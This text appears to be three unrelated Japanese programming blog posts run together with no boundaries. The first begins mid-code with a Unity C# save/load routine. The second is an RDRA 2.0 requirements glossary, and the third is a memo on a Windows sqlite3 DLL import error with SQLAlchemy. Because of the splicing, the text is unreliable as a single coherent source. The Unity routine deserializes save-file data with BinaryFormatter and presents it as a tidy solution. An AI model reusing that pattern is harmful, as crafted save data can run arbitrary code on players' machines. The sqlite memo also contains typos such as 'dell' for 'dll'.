        var dictionarySaveData = new DictionarySaveData();
        // 適当にデータセット
        dictionarySaveData.data1= new Dictionary<string, bool>();
        dictionarySaveData.data1["test"] = true;
        using (var ms = new MemoryStream())
        {
            var bf = new BinaryFormatter();
            bf.Serialize(ms, dictionarySaveData);
            saveData.dictionaryClassBinary = ms.ToArray();
        }

        string saveDataJson = JsonUtility.ToJson(saveData);
        byte[] saveDataBinary = Encoding.UTF8.GetBytes(saveDataJson);

        // saveDataBinaryを暗号化してファイル保存
    }

    public void Load() {
        string saveDataJson = /* ファイルを開いて復号、jsonを読み取ってくる */;
        SaveData saveData = JsonUtility.FromJson<SaveData>(saveDataJson);
        using (var ms = new MemoryStream(saveData.dictionaryClassBinary))
        {
            var bf = new BinaryFormatter();
            var dictionarySaveData = (DictionarySaveData)bf.Deserialize(ms);
            // trueと表示される！
            Debug.Log(dictionarySaveData.data1["test"]);
        }
        // Unity組み込みクラスも読み込めている
        transform.position = saveData.position;
    }
}
```

# まとめ
EasySaveみたいな優良有料アセットだと、こういう悩みとは無縁なのかなぁ…
~~でもプログラム系のアセットは自分でなんとかしたい~~

よきゲーム制作を！
RDRA用語集

## はじめに

要件定義手法「RDRA 2.0」の用語集です。

最初は用語の確認でハンドブックを見ることが多いので、用語集としてまとめてみました。

:::note info
RDRA紹介ページやハンドブックについては記事の最後を参照してください。
:::

<details>
<summary>RDRAとは</summary>
関係駆動要件分析（Relationship Driven Requirement Analysis）。
RDRAモデルをコミュニケーションツールとした、モデルベースの要件定義手法。
</details>

<details>
<summary>用語集の説明</summary>
RDRA2.0の用語についてまとめています。
用語：RDRAで使用される用語
説明：用語についての簡単な説明
ページ：用語について解説されている『RDRA2.0 ハンドブック』のページ
</details>

## 用語集

### あ行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| アクター | システムから価値を得る人とそのために関わる人。 | 54 |
| アクティビティ | 仕事。関係者にとって意味のある完結した最小単位の作業。 | 68 |
| イベント | 外部システムとユースケースの連携を表すもの。 | 79 |

### か行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| 外部システム | 該当システムに関するシステムで、このシステムで手を入れられないシステム。 | 55 |
| 業務 | ビジネス上認識されているトップレベルの一塊の仕事。 | 62 |
| 業務フロー図 | 価値を提供するための仕事の流れを示すダイアグラム。 | 67 |

### さ行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| システム（レイヤー） | システム化したい情報と状態を明らかにするレイヤー。 | 27 |
| システム外部環境 | システムがどのように使われるのかを表すレイヤー。 | 25 |
| システム価値 | システムが実現すべき価値を捉えるレイヤー。 | 24 |
| システム境界 | システムとどう関わるのかを明らかにするレイヤー。 | 26 |
| システムコンテキスト図 | システムに関わる人や外部システムを１枚で俯瞰できるようにしたダイアグラム。 | 53 |
| 条件 | ビジネス上使われているルールを表現したもの。 | 75 |
| 状態 | ビジネス上使われている用語で表したシステムの状態。 | 91 |
| 状態モデル図 | 状態を表している用語を構造化したダイアグラム。 | 90 |
| 情報 | ビジネスを駆動する用語。 | 88 |
| 情報モデル図 | ビジネスを駆動するための用語を構造化したダイアグラム。 | 86 |

### た行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| ダイアグラム | アイコンのつながりは、レイヤーの責務に応じた役割をもつダイアグラム単位で定義される。 | 30 |

### は行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| バリエーション・条件図 | バリエーションの表を集めたダイアグラム。 | 73 |
| バリエーション | 商品の分類やなどのビジネス上把握している値の集合。 | 74 |
| ビジネスコンテキスト図 | システムが使われる環境を明らかにするための最上位のダイアグラム。 | 61 |
| ビジネスユースケース | 業務を構成する価値を提供する単位。 | 65 |
| ビジネスユースケース図 | 業務をブレークダウンしたビジネスユースケースを洗い出すダイアグラム。 | 63 |
| ビジネス要素 | 業務に関わるもの。 | 62 |
| ビジネスルール | ビジネスの現場で使われているルール。 | 94 |

### や行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| ユースケース | システムを使った一塊の作業単位。 | 78 |
| ユースケース（UC）複合図 | ユースケースを中心としたダイアグラム。 | 77 |
| 要求 | 検討対象として合意したもの。 | 57 |
| 要求モデル図 | システムの可の方向性を明らかにするためのダイアグラム。 | 56 |

### ら行

| 用語 | 説明 | ページ |
|:---|:---|:---|
| 利用シーン | 価値を届ける最小単位。 | 71 |
| 利用シーン図 | システムを使うメリットをシナリオや箇条書きで記述したダイアグラム。 | 70 |
| レイヤー | RDRAレイヤー。要件を定義する４つの視点。 | 19 |

## RDRAの詳細情報

### RDRA紹介ページ

http://vsa.co.jp/rdra/

### RDRA 2.0 ハンドブック (Kindle UnLimited会員は無料）

https://www.amazon.co.jp/dp/B07STQZFBX/ref=cm_sw_r_tw_dp_U_x_gQPqDbQ0KYNTS
Windows 10　sqlalchemy  ImportError

環境
Windows10 pro
Python3.9
Anaconda3
VSCode
Sqlite3

以下のコードを実行した。
````

````

import sqlalchemy 
import sqlalchemy.ext.declarative
import sqlalchemy.orm


engine = sqlalchemy.create_engine('sqlite:///:memory:')

Base = sqlalchemy.ext.declarative.declarative_base()

class Person(Base):
    __tablename__ = 'persons'
    id = sqlalchemy.Column(
        sqlalchemy.Integer, primary_key=True, autoincrement=True)
    name = sqlalchemy.Column(sqlalchemy.String(14))

Base.metadata.create_all(engine)
````


メモリ上でSQLiteのテーブルを作ろうとしました。

しかし、以下のエラーが発生

````

例外が発生しました: ImportError
DLL load failed while importing _sqlite3: 指定されたモジュールが見つかりません。
````
調べたり、教えて頂いたりググった結果、以下の情報がありました。

[How To Fix ImportError: DLL Load Failed While Importing _sqlite3: The Specified Module Could Not Be Found.](https://www.dev2qa.com/how-to-fix-importerror-dll-load-failed-while-importing-_sqlite3-the-specified-module-could-not-be-found/)

現在　X64のdellファイルはダウンロードできません。32bitしかSaliteのファイルが公開されていません。
現在アップデート中のようです。

WindowsのX64のDellが公開された時の為に忘持録として残します。
公開されたらダウンロードします。

仕方ないのでUbuntu 20.4のPCで環境を作りました。
Python3.9
Anaconda3
Sqlite3
Vscode
の環境を構築してから


````

pip3 install SQLAlchemy

````
エラーがなく動作しました。